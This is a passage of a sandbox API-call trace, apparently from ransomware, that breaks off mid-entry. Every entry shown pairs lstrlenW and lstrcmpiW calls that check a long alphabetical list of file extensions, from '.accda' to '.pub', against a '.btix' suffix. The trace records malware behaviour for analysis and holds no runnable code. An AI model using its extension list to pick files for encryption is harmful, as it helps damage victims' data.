[0146.453] lstrlenW (lpString=".accda") returned 6 [0146.453] lstrcmpiW (lpString1=".accda", lpString2="].btix") returned -1 [0146.453] lstrlenW (lpString=".accdb") returned 6 [0146.453] lstrcmpiW (lpString1=".accdb", lpString2="].btix") returned -1 [0146.453] lstrlenW (lpString=".accdc") returned 6 [0146.453] lstrcmpiW (lpString1=".accdc", lpString2="].btix") returned -1 [0146.453] lstrlenW (lpString=".accde") returned 6 [0146.453] lstrcmpiW (lpString1=".accde", lpString2="].btix") returned -1 [0146.453] lstrlenW (lpString=".accdt") returned 6 [0146.453] lstrcmpiW (lpString1=".accdt", lpString2="].btix") returned -1 [0146.453] lstrlenW (lpString=".accdw") returned 6 [0146.453] lstrcmpiW (lpString1=".accdw", lpString2="].btix") returned -1 [0146.453] lstrlenW (lpString=".adb") returned 4 [0146.453] lstrcmpiW (lpString1=".adb", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".adp") returned 4 [0146.453] lstrcmpiW (lpString1=".adp", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".ai") returned 3 [0146.453] lstrcmpiW (lpString1=".ai", lpString2="tix") returned -1 [0146.453] lstrlenW (lpString=".ai3") returned 4 [0146.453] lstrcmpiW (lpString1=".ai3", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".ai4") returned 4 [0146.453] lstrcmpiW (lpString1=".ai4", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".ai5") returned 4 [0146.453] lstrcmpiW (lpString1=".ai5", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".ai6") returned 4 [0146.453] lstrcmpiW (lpString1=".ai6", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".ai7") returned 4 [0146.453] lstrcmpiW (lpString1=".ai7", lpString2="btix") returned -1 [0146.453] lstrlenW (lpString=".ai8") returned 4 [0146.453] lstrcmpiW (lpString1=".ai8", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".anim") returned 5 [0146.454] lstrcmpiW (lpString1=".anim", lpString2=".btix") returned -1 [0146.454] lstrlenW (lpString=".arw") returned 4 [0146.454] lstrcmpiW (lpString1=".arw", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".as") returned 3 [0146.454] lstrcmpiW (lpString1=".as", lpString2="tix") returned -1 [0146.454] lstrlenW (lpString=".asa") returned 4 [0146.454] lstrcmpiW (lpString1=".asa", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".asc") returned 4 [0146.454] lstrcmpiW (lpString1=".asc", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".ascx") returned 5 [0146.454] lstrcmpiW (lpString1=".ascx", lpString2=".btix") returned -1 [0146.454] lstrlenW (lpString=".asm") returned 4 [0146.454] lstrcmpiW (lpString1=".asm", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".asmx") returned 5 [0146.454] lstrcmpiW (lpString1=".asmx", lpString2=".btix") returned -1 [0146.454] lstrlenW (lpString=".asp") returned 4 [0146.454] lstrcmpiW (lpString1=".asp", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".aspx") returned 5 [0146.454] lstrcmpiW (lpString1=".aspx", lpString2=".btix") returned -1 [0146.454] lstrlenW (lpString=".asr") returned 4 [0146.454] lstrcmpiW (lpString1=".asr", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".asx") returned 4 [0146.454] lstrcmpiW (lpString1=".asx", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".avi") returned 4 [0146.454] lstrcmpiW (lpString1=".avi", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".avs") returned 4 [0146.454] lstrcmpiW (lpString1=".avs", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".backup") returned 7 [0146.454] lstrcmpiW (lpString1=".backup", lpString2="i].btix") returned -1 [0146.454] lstrlenW (lpString=".bak") returned 4 [0146.454] lstrcmpiW (lpString1=".bak", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".bay") returned 4 [0146.454] lstrcmpiW (lpString1=".bay", lpString2="btix") returned -1 [0146.454] lstrlenW (lpString=".bd") returned 3 [0146.454] lstrcmpiW (lpString1=".bd", lpString2="tix") returned -1 [0146.454] lstrlenW (lpString=".bin") returned 4 [0146.455] lstrcmpiW (lpString1=".bin", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".bmp") returned 4 [0146.455] lstrcmpiW (lpString1=".bmp", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".bz2") returned 4 [0146.455] lstrcmpiW (lpString1=".bz2", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".c") returned 2 [0146.455] lstrcmpiW (lpString1=".c", lpString2="ix") returned -1 [0146.455] lstrlenW (lpString=".cdr") returned 4 [0146.455] lstrcmpiW (lpString1=".cdr", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".cer") returned 4 [0146.455] lstrcmpiW (lpString1=".cer", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".cf") returned 3 [0146.455] lstrcmpiW (lpString1=".cf", lpString2="tix") returned -1 [0146.455] lstrlenW (lpString=".cfc") returned 4 [0146.455] lstrcmpiW (lpString1=".cfc", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".cfm") returned 4 [0146.455] lstrcmpiW (lpString1=".cfm", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".cfml") returned 5 [0146.455] lstrcmpiW (lpString1=".cfml", lpString2=".btix") returned 1 [0146.455] lstrlenW (lpString=".cfu") returned 4 [0146.455] lstrcmpiW (lpString1=".cfu", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".chm") returned 4 [0146.455] lstrcmpiW (lpString1=".chm", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".cin") returned 4 [0146.455] lstrcmpiW (lpString1=".cin", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".class") returned 6 [0146.455] lstrcmpiW (lpString1=".class", lpString2="].btix") returned -1 [0146.455] lstrlenW (lpString=".clx") returned 4 [0146.455] lstrcmpiW (lpString1=".clx", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".config") returned 7 [0146.455] lstrcmpiW (lpString1=".config", lpString2="i].btix") returned -1 [0146.455] lstrlenW (lpString=".cpp") returned 4 [0146.455] lstrcmpiW (lpString1=".cpp", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".cr2") returned 4 [0146.455] lstrcmpiW (lpString1=".cr2", lpString2="btix") returned -1 [0146.455] lstrlenW (lpString=".crt") returned 4 [0146.456] lstrcmpiW (lpString1=".crt", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".crw") returned 4 [0146.456] lstrcmpiW (lpString1=".crw", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".cs") returned 3 [0146.456] lstrcmpiW (lpString1=".cs", lpString2="tix") returned -1 [0146.456] lstrlenW (lpString=".css") returned 4 [0146.456] lstrcmpiW (lpString1=".css", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".csv") returned 4 [0146.456] lstrcmpiW (lpString1=".csv", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".cub") returned 4 [0146.456] lstrcmpiW (lpString1=".cub", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".dae") returned 4 [0146.456] lstrcmpiW (lpString1=".dae", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".dat") returned 4 [0146.456] lstrcmpiW (lpString1=".dat", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".db") returned 3 [0146.456] lstrcmpiW (lpString1=".db", lpString2="tix") returned -1 [0146.456] lstrlenW (lpString=".dbf") returned 4 [0146.456] lstrcmpiW (lpString1=".dbf", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".dbx") returned 4 [0146.456] lstrcmpiW (lpString1=".dbx", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".dc3") returned 4 [0146.456] lstrcmpiW (lpString1=".dc3", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".dcm") returned 4 [0146.456] lstrcmpiW (lpString1=".dcm", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".dcr") returned 4 [0146.456] lstrcmpiW (lpString1=".dcr", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".der") returned 4 [0146.456] lstrcmpiW (lpString1=".der", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".dib") returned 4 [0146.456] lstrcmpiW (lpString1=".dib", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".dic") returned 4 [0146.456] lstrcmpiW (lpString1=".dic", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".dif") returned 4 [0146.456] lstrcmpiW (lpString1=".dif", lpString2="btix") returned -1 [0146.456] lstrlenW (lpString=".divx") returned 5 [0146.457] lstrcmpiW (lpString1=".divx", lpString2=".btix") returned 1 [0146.457] lstrlenW (lpString=".djvu") returned 5 [0146.457] lstrcmpiW (lpString1=".djvu", lpString2=".btix") returned 1 [0146.457] lstrlenW (lpString=".dng") returned 4 [0146.457] lstrcmpiW (lpString1=".dng", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".doc") returned 4 [0146.457] lstrcmpiW (lpString1=".doc", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".docm") returned 5 [0146.457] lstrcmpiW (lpString1=".docm", lpString2=".btix") returned 1 [0146.457] lstrlenW (lpString=".docx") returned 5 [0146.457] lstrcmpiW (lpString1=".docx", lpString2=".btix") returned 1 [0146.457] lstrlenW (lpString=".dot") returned 4 [0146.457] lstrcmpiW (lpString1=".dot", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".dotm") returned 5 [0146.457] lstrcmpiW (lpString1=".dotm", lpString2=".btix") returned 1 [0146.457] lstrlenW (lpString=".dotx") returned 5 [0146.457] lstrcmpiW (lpString1=".dotx", lpString2=".btix") returned 1 [0146.457] lstrlenW (lpString=".dpx") returned 4 [0146.457] lstrcmpiW (lpString1=".dpx", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".dqy") returned 4 [0146.457] lstrcmpiW (lpString1=".dqy", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".dsn") returned 4 [0146.457] lstrcmpiW (lpString1=".dsn", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".dt") returned 3 [0146.457] lstrcmpiW (lpString1=".dt", lpString2="tix") returned -1 [0146.457] lstrlenW (lpString=".dtd") returned 4 [0146.457] lstrcmpiW (lpString1=".dtd", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".dwg") returned 4 [0146.457] lstrcmpiW (lpString1=".dwg", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".dwt") returned 4 [0146.457] lstrcmpiW (lpString1=".dwt", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".dx") returned 3 [0146.457] lstrcmpiW (lpString1=".dx", lpString2="tix") returned -1 [0146.457] lstrlenW (lpString=".dxf") returned 4 [0146.457] lstrcmpiW (lpString1=".dxf", lpString2="btix") returned -1 [0146.457] lstrlenW (lpString=".edml") returned 5 [0146.457] lstrcmpiW (lpString1=".edml", lpString2=".btix") returned 1 [0146.458] lstrlenW (lpString=".efd") returned 4 [0146.458] lstrcmpiW (lpString1=".efd", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".elf") returned 4 [0146.458] lstrcmpiW (lpString1=".elf", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".emf") returned 4 [0146.458] lstrcmpiW (lpString1=".emf", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".emz") returned 4 [0146.458] lstrcmpiW (lpString1=".emz", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".epf") returned 4 [0146.458] lstrcmpiW (lpString1=".epf", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".eps") returned 4 [0146.458] lstrcmpiW (lpString1=".eps", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".epsf") returned 5 [0146.458] lstrcmpiW (lpString1=".epsf", lpString2=".btix") returned 1 [0146.458] lstrlenW (lpString=".epsp") returned 5 [0146.458] lstrcmpiW (lpString1=".epsp", lpString2=".btix") returned 1 [0146.458] lstrlenW (lpString=".erf") returned 4 [0146.458] lstrcmpiW (lpString1=".erf", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".exr") returned 4 [0146.458] lstrcmpiW (lpString1=".exr", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".f4v") returned 4 [0146.458] lstrcmpiW (lpString1=".f4v", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".fido") returned 5 [0146.458] lstrcmpiW (lpString1=".fido", lpString2=".btix") returned 1 [0146.458] lstrlenW (lpString=".flm") returned 4 [0146.458] lstrcmpiW (lpString1=".flm", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".flv") returned 4 [0146.458] lstrcmpiW (lpString1=".flv", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".frm") returned 4 [0146.458] lstrcmpiW (lpString1=".frm", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".fxg") returned 4 [0146.458] lstrcmpiW (lpString1=".fxg", lpString2="btix") returned -1 [0146.458] lstrlenW (lpString=".geo") returned 4 [0146.459] lstrcmpiW (lpString1=".geo", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".gif") returned 4 [0146.459] lstrcmpiW (lpString1=".gif", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".grs") returned 4 [0146.459] lstrcmpiW (lpString1=".grs", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".gz") returned 3 [0146.459] lstrcmpiW (lpString1=".gz", lpString2="tix") returned -1 [0146.459] lstrlenW (lpString=".h") returned 2 [0146.459] lstrcmpiW (lpString1=".h", lpString2="ix") returned -1 [0146.459] lstrlenW (lpString=".hdr") returned 4 [0146.459] lstrcmpiW (lpString1=".hdr", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".hpp") returned 4 [0146.459] lstrcmpiW (lpString1=".hpp", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".hta") returned 4 [0146.459] lstrcmpiW (lpString1=".hta", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".htc") returned 4 [0146.459] lstrcmpiW (lpString1=".htc", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".htm") returned 4 [0146.459] lstrcmpiW (lpString1=".htm", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".html") returned 5 [0146.459] lstrcmpiW (lpString1=".html", lpString2=".btix") returned 1 [0146.459] lstrlenW (lpString=".icb") returned 4 [0146.459] lstrcmpiW (lpString1=".icb", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".ics") returned 4 [0146.459] lstrcmpiW (lpString1=".ics", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".iff") returned 4 [0146.459] lstrcmpiW (lpString1=".iff", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".inc") returned 4 [0146.459] lstrcmpiW (lpString1=".inc", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".indd") returned 5 [0146.459] lstrcmpiW (lpString1=".indd", lpString2=".btix") returned 1 [0146.459] lstrlenW (lpString=".ini") returned 4 [0146.459] lstrcmpiW (lpString1=".ini", lpString2="btix") returned -1 [0146.459] lstrlenW (lpString=".iqy") returned 4 [0146.460] lstrcmpiW (lpString1=".iqy", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".j2c") returned 4 [0146.460] lstrcmpiW (lpString1=".j2c", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".j2k") returned 4 [0146.460] lstrcmpiW (lpString1=".j2k", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".java") returned 5 [0146.460] lstrcmpiW (lpString1=".java", lpString2=".btix") returned 1 [0146.460] lstrlenW (lpString=".jp2") returned 4 [0146.460] lstrcmpiW (lpString1=".jp2", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".jpc") returned 4 [0146.460] lstrcmpiW (lpString1=".jpc", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".jpe") returned 4 [0146.460] lstrcmpiW (lpString1=".jpe", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".jpeg") returned 5 [0146.460] lstrcmpiW (lpString1=".jpeg", lpString2=".btix") returned 1 [0146.460] lstrlenW (lpString=".jpf") returned 4 [0146.460] lstrcmpiW (lpString1=".jpf", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".jpg") returned 4 [0146.460] lstrcmpiW (lpString1=".jpg", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".jpx") returned 4 [0146.460] lstrcmpiW (lpString1=".jpx", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".js") returned 3 [0146.460] lstrcmpiW (lpString1=".js", lpString2="tix") returned -1 [0146.460] lstrlenW (lpString=".jsf") returned 4 [0146.460] lstrcmpiW (lpString1=".jsf", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".json") returned 5 [0146.460] lstrcmpiW (lpString1=".json", lpString2=".btix") returned 1 [0146.460] lstrlenW (lpString=".jsp") returned 4 [0146.460] lstrcmpiW (lpString1=".jsp", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".kdc") returned 4 [0146.460] lstrcmpiW (lpString1=".kdc", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".kmz") returned 4 [0146.460] lstrcmpiW (lpString1=".kmz", lpString2="btix") returned -1 [0146.460] lstrlenW (lpString=".kwm") returned 4 [0146.460] lstrcmpiW (lpString1=".kwm", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".lasso") returned 6 [0146.461] lstrcmpiW (lpString1=".lasso", lpString2="].btix") returned -1 [0146.461] lstrlenW (lpString=".lbi") returned 4 [0146.461] lstrcmpiW (lpString1=".lbi", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".lgf") returned 4 [0146.461] lstrcmpiW (lpString1=".lgf", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".lgp") returned 4 [0146.461] lstrcmpiW (lpString1=".lgp", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".log") returned 4 [0146.461] lstrcmpiW (lpString1=".log", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".m1v") returned 4 [0146.461] lstrcmpiW (lpString1=".m1v", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".m4a") returned 4 [0146.461] lstrcmpiW (lpString1=".m4a", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".m4v") returned 4 [0146.461] lstrcmpiW (lpString1=".m4v", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".max") returned 4 [0146.461] lstrcmpiW (lpString1=".max", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".md") returned 3 [0146.461] lstrcmpiW (lpString1=".md", lpString2="tix") returned -1 [0146.461] lstrlenW (lpString=".mda") returned 4 [0146.461] lstrcmpiW (lpString1=".mda", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".mdb") returned 4 [0146.461] lstrcmpiW (lpString1=".mdb", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".mde") returned 4 [0146.461] lstrcmpiW (lpString1=".mde", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".mdf") returned 4 [0146.461] lstrcmpiW (lpString1=".mdf", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".mdw") returned 4 [0146.461] lstrcmpiW (lpString1=".mdw", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".mef") returned 4 [0146.461] lstrcmpiW (lpString1=".mef", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".mft") returned 4 [0146.461] lstrcmpiW (lpString1=".mft", lpString2="btix") returned -1 [0146.461] lstrlenW (lpString=".mfw") returned 4 [0146.461] lstrcmpiW (lpString1=".mfw", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mht") returned 4 [0146.462] lstrcmpiW (lpString1=".mht", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mhtml") returned 6 [0146.462] lstrcmpiW (lpString1=".mhtml", lpString2="].btix") returned -1 [0146.462] lstrlenW (lpString=".mka") returned 4 [0146.462] lstrcmpiW (lpString1=".mka", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mkidx") returned 6 [0146.462] lstrcmpiW (lpString1=".mkidx", lpString2="].btix") returned -1 [0146.462] lstrlenW (lpString=".mkv") returned 4 [0146.462] lstrcmpiW (lpString1=".mkv", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mos") returned 4 [0146.462] lstrcmpiW (lpString1=".mos", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mov") returned 4 [0146.462] lstrcmpiW (lpString1=".mov", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mp3") returned 4 [0146.462] lstrcmpiW (lpString1=".mp3", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mp4") returned 4 [0146.462] lstrcmpiW (lpString1=".mp4", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mpeg") returned 5 [0146.462] lstrcmpiW (lpString1=".mpeg", lpString2=".btix") returned 1 [0146.462] lstrlenW (lpString=".mpg") returned 4 [0146.462] lstrcmpiW (lpString1=".mpg", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mpv") returned 4 [0146.462] lstrcmpiW (lpString1=".mpv", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mrw") returned 4 [0146.462] lstrcmpiW (lpString1=".mrw", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".msg") returned 4 [0146.462] lstrcmpiW (lpString1=".msg", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".mxl") returned 4 [0146.462] lstrcmpiW (lpString1=".mxl", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".myd") returned 4 [0146.462] lstrcmpiW (lpString1=".myd", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".myi") returned 4 [0146.462] lstrcmpiW (lpString1=".myi", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".nef") returned 4 [0146.462] lstrcmpiW (lpString1=".nef", lpString2="btix") returned -1 [0146.462] lstrlenW (lpString=".nrw") returned 4 [0146.462] lstrcmpiW (lpString1=".nrw", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".obj") returned 4 [0146.463] lstrcmpiW (lpString1=".obj", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".odb") returned 4 [0146.463] lstrcmpiW (lpString1=".odb", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".odc") returned 4 [0146.463] lstrcmpiW (lpString1=".odc", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".odm") returned 4 [0146.463] lstrcmpiW (lpString1=".odm", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".odp") returned 4 [0146.463] lstrcmpiW (lpString1=".odp", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".ods") returned 4 [0146.463] lstrcmpiW (lpString1=".ods", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".oft") returned 4 [0146.463] lstrcmpiW (lpString1=".oft", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".one") returned 4 [0146.463] lstrcmpiW (lpString1=".one", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".onepkg") returned 7 [0146.463] lstrcmpiW (lpString1=".onepkg", lpString2="i].btix") returned -1 [0146.463] lstrlenW (lpString=".onetoc2") returned 8 [0146.463] lstrcmpiW (lpString1=".onetoc2", lpString2="li].btix") returned -1 [0146.463] lstrlenW (lpString=".opt") returned 4 [0146.463] lstrcmpiW (lpString1=".opt", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".oqy") returned 4 [0146.463] lstrcmpiW (lpString1=".oqy", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".orf") returned 4 [0146.463] lstrcmpiW (lpString1=".orf", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".p12") returned 4 [0146.463] lstrcmpiW (lpString1=".p12", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".p7b") returned 4 [0146.463] lstrcmpiW (lpString1=".p7b", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".p7c") returned 4 [0146.463] lstrcmpiW (lpString1=".p7c", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".pam") returned 4 [0146.463] lstrcmpiW (lpString1=".pam", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".pbm") returned 4 [0146.463] lstrcmpiW (lpString1=".pbm", lpString2="btix") returned -1 [0146.463] lstrlenW (lpString=".pct") returned 4 [0146.464] lstrcmpiW (lpString1=".pct", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pcx") returned 4 [0146.464] lstrcmpiW (lpString1=".pcx", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pdd") returned 4 [0146.464] lstrcmpiW (lpString1=".pdd", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pdf") returned 4 [0146.464] lstrcmpiW (lpString1=".pdf", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pdp") returned 4 [0146.464] lstrcmpiW (lpString1=".pdp", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pef") returned 4 [0146.464] lstrcmpiW (lpString1=".pef", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pem") returned 4 [0146.464] lstrcmpiW (lpString1=".pem", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pff") returned 4 [0146.464] lstrcmpiW (lpString1=".pff", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pfm") returned 4 [0146.464] lstrcmpiW (lpString1=".pfm", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pfx") returned 4 [0146.464] lstrcmpiW (lpString1=".pfx", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".pgm") returned 4 [0146.464] lstrcmpiW (lpString1=".pgm", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".php") returned 4 [0146.464] lstrcmpiW (lpString1=".php", lpString2="btix") returned -1 [0146.464] lstrlenW (lpString=".php3") returned 5 [0146.464] lstrcmpiW (lpString1=".php3", lpString2=".btix") returned 1 [0146.464] lstrlenW (lpString=".php4") returned 5 [0146.464] lstrcmpiW (lpString1=".php4", lpString2=".btix") returned 1 [0146.464] lstrlenW (lpString=".php5") returned 5 [0146.464] lstrcmpiW (lpString1=".php5", lpString2=".btix") returned 1 [0146.464] lstrlenW (lpString=".phtml") returned 6 [0146.464] lstrcmpiW (lpString1=".phtml", lpString2="].btix") returned -1 [0146.464] lstrlenW (lpString=".pict") returned 5 [0146.464] lstrcmpiW (lpString1=".pict", lpString2=".btix") returned 1 [0146.464] lstrlenW (lpString=".pl") returned 3 [0146.464] lstrcmpiW (lpString1=".pl", lpString2="tix") returned -1 [0146.464] lstrlenW (lpString=".pls") returned 4 [0146.465] lstrcmpiW (lpString1=".pls", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".pm") returned 3 [0146.465] lstrcmpiW (lpString1=".pm", lpString2="tix") returned -1 [0146.465] lstrlenW (lpString=".png") returned 4 [0146.465] lstrcmpiW (lpString1=".png", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".pnm") returned 4 [0146.465] lstrcmpiW (lpString1=".pnm", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".pot") returned 4 [0146.465] lstrcmpiW (lpString1=".pot", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".potm") returned 5 [0146.465] lstrcmpiW (lpString1=".potm", lpString2=".btix") returned 1 [0146.465] lstrlenW (lpString=".potx") returned 5 [0146.465] lstrcmpiW (lpString1=".potx", lpString2=".btix") returned 1 [0146.465] lstrlenW (lpString=".ppa") returned 4 [0146.465] lstrcmpiW (lpString1=".ppa", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".ppam") returned 5 [0146.465] lstrcmpiW (lpString1=".ppam", lpString2=".btix") returned 1 [0146.465] lstrlenW (lpString=".ppm") returned 4 [0146.465] lstrcmpiW (lpString1=".ppm", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".pps") returned 4 [0146.465] lstrcmpiW (lpString1=".pps", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".ppsm") returned 5 [0146.465] lstrcmpiW (lpString1=".ppsm", lpString2=".btix") returned 1 [0146.465] lstrlenW (lpString=".ppt") returned 4 [0146.465] lstrcmpiW (lpString1=".ppt", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".pptm") returned 5 [0146.465] lstrcmpiW (lpString1=".pptm", lpString2=".btix") returned 1 [0146.465] lstrlenW (lpString=".pptx") returned 5 [0146.465] lstrcmpiW (lpString1=".pptx", lpString2=".btix") returned 1 [0146.465] lstrlenW (lpString=".prn") returned 4 [0146.465] lstrcmpiW (lpString1=".prn", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".ps") returned 3 [0146.465] lstrcmpiW (lpString1=".ps", lpString2="tix") returned -1 [0146.465] lstrlenW (lpString=".psb") returned 4 [0146.465] lstrcmpiW (lpString1=".psb", lpString2="btix") returned -1 [0146.465] lstrlenW (lpString=".psd") returned 4 [0146.465] lstrcmpiW (lpString1=".psd", lpString2="btix") returned -1 [0146.466] lstrlenW (lpString=".pst") returned 4 [0146.466] lstrcmpiW (lpString1=".pst", lpString2="btix") returned -1 [0146.466] lstrlenW (lpString=".ptx") returned 4 [0146.466] lstrcmpiW (lpString1=".ptx", lpString2="btix") returned -1 [0146.466] lstrlenW (lpString=".pub") returned 4 [0146.466] lstrcmpiW (lpString1=".pub", lpString2="btix") returned -1 [0146.466] lstrlenW 